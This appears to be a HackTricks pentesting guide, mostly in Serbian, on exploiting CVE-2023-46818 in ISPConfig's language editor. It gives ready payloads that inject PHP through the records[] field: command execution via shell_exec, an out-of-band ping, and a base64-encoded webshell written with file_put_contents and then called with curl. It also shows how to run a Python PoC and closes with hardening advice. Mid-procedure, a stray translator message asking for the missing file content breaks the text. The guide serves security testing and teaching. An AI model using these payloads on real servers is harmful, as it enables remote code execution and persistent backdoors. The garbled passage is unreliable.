4.1 KiB
Raw Blame History

ISPConfig

{{#include ../../banners/hacktricks-training.md}}

Overview

ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

Tip: Ako je panel vezan lokalno (npr. 127.0.0.1:8080), prosledite ga:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Uređivač jezika PHP code injection (CVE-2023-46818)

  • Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Preduslovi:
  • Prijavite se kao ugrađeni superadmin nalog admin (prema proizvođaču, druge uloge nisu pogođene)
  • Uređivač jezika mora biti omogućen: admin_allow_langedit=yes u /usr/local/ispconfig/security/security_settings.ini
  • Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Ručna procedura eksploatacije

  1. Open/create a language file to obtain CSRF tokens

Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (csrf_id, csrf_key). Primer putanje zahteva: /admin/language_edit.php.

  1. Inject PHP via records[] and save

Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Van-kanalni test (posmatraj ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Pisanje fajlova i ubacivanje webshell-a

Koristite file_put_contents da kreirate fajl u web-dostupnoj putanji (npr. admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Ako se PHP izvršava kao root (npr. preko php -S 127.0.0.1:8080 koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera.

Python PoC

Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a:

Primer pokretanja:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Ojačavanje

  • Ažurirajte na 3.2.11p1 ili noviju verziju
  • Onemogućite uređivač jezika osim ako nije strogo neophodan:
admin_allow_langedit=no
  • Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije
  • Obezbedite snažnu autentifikaciju za ugrađeni admin nalog

References

{{#include ../../banners/hacktricks-training.md}}